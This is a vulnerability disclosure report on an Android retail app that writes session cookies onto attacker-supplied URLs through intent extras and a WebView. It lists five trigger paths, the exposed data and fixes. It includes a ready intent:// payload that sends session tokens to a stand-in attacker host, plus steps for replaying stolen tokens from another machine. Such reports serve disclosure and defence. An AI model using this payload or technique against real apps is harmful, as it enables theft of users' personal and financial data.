Exported Home Activity Cookie Injection to Session Token Theft
The Risk
A single tap on a crafted link could hand the attacker the victim's session for a major US department store's app. From a separate machine, the attacker could read the victim's name, email, loyalty cash balance, rewards tier, full order history, saved addresses, and cart contents. No app install or extra permissions were needed. The same trick could also be triggered by any other harmless looking app already on the phone, with no taps at all.
The Vulnerability
The Android app exported its main launcher activity with a BROWSABLE intent filter that accepted attacker-controlled string extras. Five independent code paths inside the activity all reached the same dangerous outcome: a call to CookieManager.setCookie() on a URL pulled directly from an intent extra, with no domain validation, immediately followed by a WebView load of that same URL.
Because session cookies were attached to whatever URL was loaded, sending the user to an attacker domain caused the app to write the victim's session tokens onto the attacker's domain and then issue an HTTP request carrying those cookies in the Cookie header.
Multiple paths, one outcome
Five separate intent extra combinations all triggered cookie injection on an attacker URL:
| Path | Trigger Extra | Tokens Leaked |
|---|---|---|
| A | open_screen_key=open_web_view + URL extra | Session ID, profile ID |
| B | open_screen_key=open_baby_registry + item_url | Session ID, profile ID, visitor ID |
| C | Push-handler URL extra | Session ID, visitor ID |
| D | Landing page deep link code + item_url | Session ID, visitor ID |
| E | open_screen_key=open_lists_favorites + item_url | Session ID, profile ID, visitor ID |
Patching one path did not fix the issue. The root cause was the exported activity itself plus the unguarded cookie write helper that several flows shared.
The Attack
The deep link took the form of an intent:// URI with the app's package name and a few string extras:
intent://#Intent;scheme=android-app;package=<app>;
S.open_screen_key=open_baby_registry;
S.item_url=https://attacker.example/lists/steal;end - The victim, signed in to the app, taps the link in Chrome (delivered via SMS, email, web page, or QR code).
- Chrome resolves the
intent://URI and hands off to the app. - The app's home activity receives the extras, routes through one of the five paths, and calls
CookieManager.setCookie()on the attacker URL with the user's session cookies. - The app then loads the attacker URL in a WebView. The HTTP request carries the session cookies in its headers.
- The attacker's server reads the cookies from the
Cookieheader and stores them. - The victim sees a brief "Web page not available" inside the app. Tokens were already exfiltrated before any page rendered.
Token replay from a separate machine
Replaying the captured X-Session-Id and X-Profile-Id from a different machine, with a fabricated device identifier, returned valid responses on every endpoint tested. There was no device or IP binding on the session.
Co-installed app variant
Because the activity was exported, any zero-permission app installed on the same device could call startActivity() with the same extras and trigger the same exfiltration with no user interaction at all. A malicious app disguised as a calculator or wallpaper would silently capture the session whenever the user was signed in.
The Impact
Replaying the stolen tokens against the app's API confirmed read access to a wide range of personal and financial data:
| Endpoint | Data Exposed |
|---|---|
| Profile attributes | Email, full name, loyalty ID, profile ID |
| Wallet items | Loyalty cash balance, gift cards, offers, rewards |
| Rewards tracker | Earning tier, cash status, thresholds |
| Account orders | Full order history |
| Account addresses | Saved shipping addresses |
| Cart | Cart contents, shipping details, order summary |
Password and email change endpoints required additional verification and could not be driven with the stolen tokens alone, so this is not full account takeover. The realised impact is unauthorised access to sensitive personal, financial, and transactional data on every signed-in user who taps a link.
Remediation
- Remove the
android-app://BROWSABLEintent filter from the launcher activity, or restrict it to verified App Link domains owned by the company. - Validate every URL-bearing intent extra against an allowlist of first-party domains before any WebView load.
- Stop calling
CookieManager.setCookie()on URLs that are not first-party domains. Centralise this check in a single helper. - Bind session tokens to a device fingerprint server-side so a stolen token cannot be replayed from a different machine.
- Audit all entry points into the home activity for the same pattern, not just the path used in the proof of concept.